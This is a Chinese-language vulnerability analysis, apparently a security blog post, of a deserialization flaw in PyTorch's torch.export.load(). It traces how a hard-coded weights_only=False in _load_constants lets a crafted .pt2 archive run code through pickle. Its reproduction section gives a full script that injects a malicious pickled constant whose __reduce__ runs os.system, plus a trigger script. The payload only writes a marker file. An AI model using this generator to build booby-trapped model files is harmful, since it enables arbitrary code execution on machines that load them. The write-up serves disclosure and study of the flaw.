PyTorch 最新版本反序列化漏洞分析
PyTorch因torch.load硬编码weights_only=False,导致加载恶意.pt2文件可触发pickle任意代码执行。
PyTorch 最新版本反序列化漏洞分析
前言
AI入门学习Transformers架构的时候,最忘不掉的无过于主播手把手教你用PyTorch手搓一个Transformers了,哈哈哈哈哈哈
一、漏洞描述
根本原因在于调用 torch.load 时使用了 weights_only=False,这启用了通过 pickle 模块进行的不安全反序列化,从而导致任意代码执行。torch.load 底层使用了 Python 的 pickle。当 weights_only=False 时,它会反序列化并重构文件中存储的任意 Python 对象。对来自不受信任或被篡改的检查点数据进行反序列化,会执行攻击者控制的代码,从而导致远程代码执行 (RCE)。
当加载 .pt2 归档文件时,torch.export.load() 遵循以下路径:它调用 load_pt2() 来枚举归档内容 → 进入 _load_exported_programs() → 然后调用 _load_constants()。如果归档中的任何常量被标记为 use_pickle=True 且其文件名以 tensor 开头,它就会执行 torch.load(io.BytesIO(constant_bytes), weights_only=False),从而触发 Python Pickle 反序列化。因此,如果 .pt2 文件包含恶意的 Pickle 常量,运行 torch.export.load() 可能会导致任意代码执行。
torch.export.load() 不允许配置 weights_only=True 参数。它总是执行 torch.load(io.BytesIO(constant_bytes), weights_only=False) —— 这个值是硬编码的。因此,加载恶意模型的用户不可避免地会面临被入侵的风险。
二、环境搭建
这个没有什么好搭建的,因为就是一个组件,下载最新版本的包就好了

三、漏洞分析
完整调用链追踪
┌─────────────────────────────────────────────────────────────────────────────────┐
│ 漏洞调用链完整追踪 │
└─────────────────────────────────────────────────────────────────────────────────┘
入口点 (Entry Point):
torch/export/__init__.py
└───> torch.export.load(f)
│
↓
torch/export/pt2_archive/_package.py
└───> load_pt2(f)
│
↓ 枚举存档内容
└───> _load_exported_programs(archive_reader, file_names, ...)
│
↓
└───> _load_constants(archive_reader, model_name)
│
↓ 读取 model_constants_config.json
│ constants_config = _load_payload_config(...)
│
↓ 遍历 config 中的 constants
│ for constant_fqn, payload_meta in constants_config.config.items():
│ path_name = payload_meta.path_name
│
↓ 检查条件
│ if path_name.startswith("tensor") and payload_meta.use_pickle:
│ 有这个条件,所以后面编写POC需要满足
│
↓ SINK 点 (漏洞触发点)
constant_bytes = archive_reader.read_bytes(...)
constants[constant_fqn] = torch.load(
io.BytesIO(constant_bytes),
weights_only=False //因为weights_only=False硬编码了,才导致漏洞触发
)
│
↓
torch.load() 底层使用 pickle 反序列化
│
↓
pickle.loads() → 触发 __reduce__() → 执行任意代码漏洞代码分析
torch.export.load()
文件: torch/export/__init__.py
def load(
f: FileLike,
*,
extra_files: dict[str, Any] | None = None,
expected_opset_version: dict[str, int] | None = None,
) -> ExportedProgram:
if isinstance(f, (str, os.PathLike)):
f = os.fspath(f)
extra_files = extra_files or {}
from torch.export.pt2_archive._package import load_pt2, PT2ArchiveContents
try:
# 调用 load_pt2 加载 PT2 存档
pt2_contents = load_pt2(
f,
expected_opset_version=expected_opset_version,
)
except RuntimeError:
log.warning("Ran into the following error when deserializing", exc_info=True)
pt2_contents = PT2ArchiveContents({}, {}, {})
# 返回导出的程序
if len(pt2_contents.exported_programs) > 0 or len(pt2_contents.extra_files) > 0:
for k, v in pt2_contents.extra_files.items():
extra_files[k] = v
return pt2_contents.exported_programs["model"]分析: 入口函数接收文件路径,调用 load_pt2() 加载 PT2 存档文件。
load_pt2() - 加载 PT2 存档
文件: torch/export/pt2_archive/_package.py
def load_pt2(
f: FileLike,
*,
expected_opset_version: dict[str, int] | None = None,
run_single_threaded: bool = False,
num_runners: int = 1,
device_index: int = -1,
load_weights_from_disk: bool = False,
) -> PT2ArchiveContents:
# 参数验证
if not (
(isinstance(f, (io.IOBase, IO)) and f.readable() and f.seekable())
or (isinstance(f, (str, os.PathLike)) and os.path.splitext(os.path.basename(os.path.normpath(f)))[-1] == ".pt2")
):
logger.warning(
"Unable to load package. f must be a buffer or a file ending in "
".pt2. Instead got {%s}",
f,
)
if isinstance(f, (str, os.PathLike)):
f = os.fspath(f)
weights = {}
weight_maps = {}
# 打开 PT2 存档读取器
with PT2ArchiveReader(f) as archive_reader:
version = archive_reader.read_string(ARCHIVE_VERSION_PATH)
if version != ARCHIVE_VERSION_VALUE:
raise ValueError(
f"Saved archive version {version} does not match our current "
f"archive version {ARCHIVE_VERSION_VALUE}."
)
file_names = archive_reader.get_file_names()
# 调用 _load_exported_programs 处理导出的程序
exported_programs = _load_exported_programs(
archive_reader, file_names, expected_opset_version
)
extra_files = _load_extra_files(archive_reader, file_names)
# ... 其他处理 ...分析: load_pt2() 打开 PT2 存档文件,调用 _load_exported_programs() 处理模型文件。
_load_exported_programs() - 加载导出的程序
文件: torch/export/pt2_archive/_package.py
def _load_exported_programs(
archive_reader: PT2ArchiveReader,
file_names: list[str],
expected_opset_version: dict[str, int] | None,
) -> dict[str, ExportedProgram]:
# 筛选出模型文件
exported_program_files = [
file for file in file_names if file.startswith(MODELS_DIR)
]
exported_programs = {}
for file in exported_program_files:
# 从文件名提取模型名称
prefix, suffix = MODELS_FILENAME_FORMAT.split("{}")
model_name = file[len(prefix) : -len(suffix)]
# 读取 sample inputs
sample_inputs_file = SAMPLE_INPUTS_FILENAME_FORMAT.format(model_name)
serialized_sample_inputs = archive_reader.read_bytes(sample_inputs_file)
# 读取导出的程序
from torch._export.serde.serialize import _bytes_to_dataclass
exported_program_bytes = archive_reader.read_bytes(file)
serialized_exported_program = _bytes_to_dataclass(
schema.ExportedProgram, exported_program_bytes
)
# 读取 state dict
state_dict = _load_state_dict(archive_reader, model_name)
# 调用 _load_constants 加载常量 ← 关键调用
constants = _load_constants(archive_reader, model_name)
# 反序列化 ExportedProgram
ep = ExportedProgramDeserializer(expected_opset_version).deserialize(
serialized_exported_program,
state_dict,
constants,
serialized_sample_inputs,
)
exported_programs[model_name] = ep
return exported_programs分析: _load_exported_programs() 遍历模型文件,调用 _load_constants() 加载常量数据。
_load_constants() - 加载常量(漏洞触发点)
文件: torch/export/pt2_archive/_package.py
这一步很关键,因为是有很多限制条件的
def _load_constants(
archive_reader: PT2ArchiveReader,
model_name: str,
) -> dict[str, torch.Tensor] | bytes:
# 兼容旧格式的常量文件
legacy_constants_file = f"{CONSTANTS_DIR}{model_name}.pt"
if legacy_constants_file in archive_reader.get_file_names():
logger.warning(
"You are loading constant from the legacy format. "
"Please generate a new pt2 file using torch.export.save()."
)
return archive_reader.read_bytes(legacy_constants_file)
else:
# 新格式:读取常量配置文件
constants_config_file = CONSTANTS_CONFIG_FILENAME_FORMAT.format(model_name)
assert constants_config_file in archive_reader.get_file_names(), (
f"{constants_config_file} not found in PT2 archive"
)
# 读取配置文件
constants_config = _load_payload_config(archive_reader, constants_config_file)
# 构建文件名到常量 payload 的映射
constant_file_map = _build_file_map(
archive_reader, constants_config, CONSTANTS_DIR
)
constants: dict[str, torch.Tensor] = {}
# 遍历配置中的每个常量
for constant_fqn, payload_meta in constants_config.config.items():
path_name = payload_meta.path_name
# 检查文件名是否以 "tensor" 开头
if path_name.startswith(TENSOR_CONSTANT_FILENAME_PREFIX): # "tensor"
# ⚠️ 漏洞触发条件:use_pickle 为 True
if payload_meta.use_pickle:
constant_bytes = archive_reader.read_bytes(
os.path.join(CONSTANTS_DIR, path_name)
)
# ⚠️⚠️ SINK 点:硬编码 weights_only=False ⚠️⚠️
constants[constant_fqn] = torch.load(
io.BytesIO(constant_bytes),
weights_only=False
)
else:
# 安全路径:使用 torch.as_strided 加载张量
tensor_meta = payload_meta.tensor_meta
assert tensor_meta is not None
constant_tensor = torch.as_strided(
input=constant_file_map[path_name],
size=deserialize_size(tensor_meta.sizes),
stride=deserialize_stride(tensor_meta.strides),
storage_offset=deserialize_storage_offset(
tensor_meta.storage_offset
),
)
constants[constant_fqn] = constant_tensor
elif path_name.startswith(CUSTOM_OBJ_FILENAME_PREFIX):
# 自定义对象处理
constant_bytes = archive_reader.read_bytes(
os.path.join(CONSTANTS_DIR, path_name)
)
constants[constant_fqn] = torch._C._pickle_load_obj(constant_bytes)
else:
raise RuntimeError(f"Unsupported constant type: {path_name}")
return constants总结一下能够触发的条件
path_name.startswith("tensor")payload_meta.use_pickle == Trueweights_only=False硬编码: 该值无法通过torch.export.load()API 覆盖
torch.load() - Pickle 反序列化
文件: torch/serialization.py
def load(f, map_location=None, pickle_module=pickle, *, weights_only=False, **kwargs):
# ...
if weights_only:
# 使用安全的 unpickler(只允许张量类型)
return torch.load._load_from_map_location(
f, map_location, pickle_module, weights_only=True
)
else:
# 使用标准 pickle,允许反序列化任意 Python 对象
# ← 漏洞路径:会调用 pickle.loads() 反序列化恶意 payload
return pickle_module.load(f, **kwargs)当 weights_only=False 时,torch.load() 使用标准 pickle 反序列化,会触发对象的 __reduce__() 方法,导致任意代码执行。
四、漏洞复现
根据漏洞原理,步骤就是生成恶意文件和触发了
恶意模型生成脚本
文件: model.py
#!/usr/bin/env python3
"""
PyTorch PT2 反序列化漏洞 - 恶意模型生成脚本
"""
import io
import json
import os
import sys
import torch
import torch.nn as nn
from torch.export.pt2_archive import _package, constants
# ============ Step 1: 创建干净的模型 ============
class Victim(nn.Module):
"""简单模型"""
def forward(self, x):
return x + 1
def create_clean_model(filename: str):
model = Victim()
example_input = (torch.randn(1, 3, 224, 224),)
exported_program = torch.export.export(model, example_input)
torch.export.save(exported_program, filename)
print(f"[+] 创建干净模型: {filename}")
# ============ Step 2: 构造恶意 Payload ============
class UniversalPayload:
"""跨平台恶意 payload"""
def __reduce__(self):
payload_code = """
import os
if os.name == 'nt': # Windows
command = 'echo PT2_RCE: %USERNAME% > %TEMP%\\\\pt2_pwned.txt'
else: # Linux/macOS
command = 'echo "PT2_RCE: $(id)" > /tmp/pt2_pwned'
os.system(command)
"""
return (exec, (payload_code,))
# ============ Step 3: 注入恶意 Payload 到 PT2 文件 ============
def build_malicious_pt2(src: str, dst: str):
reader = _package.PT2ArchiveReader(src)
files = reader.get_file_names()
# 查找常量配置文件
cfg_name = [f for f in files if f.endswith("_constants_config.json")][0]
config = json.loads(reader.read_string(cfg_name))
# 使用 with 语句确保文件正确关闭
with _package.PT2ArchiveWriter(dst) as writer:
# 复制所有文件(除配置外)
for name in files:
if name != cfg_name:
writer.write_bytes(name, reader.read_bytes(name))
# 序列化恶意 payload
payload_buf = io.BytesIO()
torch.save(UniversalPayload(), payload_buf,
pickle_protocol=_package.DEFAULT_PICKLE_PROTOCOL)
payload_bytes = payload_buf.getvalue()
# 写入恶意常量 (文件名以 "tensor" 开头,满足触发条件)
payload_path = constants.CONSTANTS_DIR + "tensor_666"
writer.write_bytes(payload_path, payload_bytes)
# 更新配置
config["config"]["exploit.constant"] = {
"path_name": "tensor_666", # 以 "tensor" 开头
"is_param": False,
"use_pickle": True, # 标记为使用 pickle,满足触发条件
"tensor_meta": None,
}
writer.write_string(cfg_name, json.dumps(config, indent=2))
print(f"[+] 创建恶意模型: {dst}")
if __name__ == "__main__":
create_clean_model("victim.pt2")
build_malicious_pt2("victim.pt2", "victim_malicious.pt2")
print("[+] 完成!")注意构造需要满足刚刚上面提到的条件

触发脚本
现在就是我们需要去触发了
文件: poc.py
#!/usr/bin/env python3
"""
PyTorch PT2 反序列化漏洞 - PoC
"""
import os
import sys
import torch
def main():
pt2_file = "victim_malicious.pt2"
# 确定标记文件路径
if os.name == "nt":
marker = os.path.join(os.environ.get('TEMP', ''), "pt2_pwned.txt")
else:
marker = "/tmp/pt2_pwned"
# 清理旧标记
if os.path.exists(marker):
os.remove(marker)
print(f"[*] 加载恶意文件: {pt2_file}")
print(f"[*] 预期标记: {marker}")
# 加载恶意模型 - 触发漏洞
torch.export.load(pt2_file)
# 验证
if os.path.exists(marker):
print(f"[+] 漏洞利用成功!")
with open(marker) as f:
print(f"[+] 标记内容: {f.read().strip()}")
return True
else:
print(f"[-] 漏洞利用失败")
return False
if __name__ == "__main__":
main() 
然后我们查看文件

五、漏洞修复
由于最新版本还是存在这个漏洞,可能是正常功能需要?????
测试版本: PyTorch 2.11.0.dev20260110
六、参考资料
PyTorch因torch.load硬编码weights_only=False,导致加载恶意.pt2文件可触发pickle任意代码执行。
由 AI 根据全文自动生成,仅供参考,以原文为准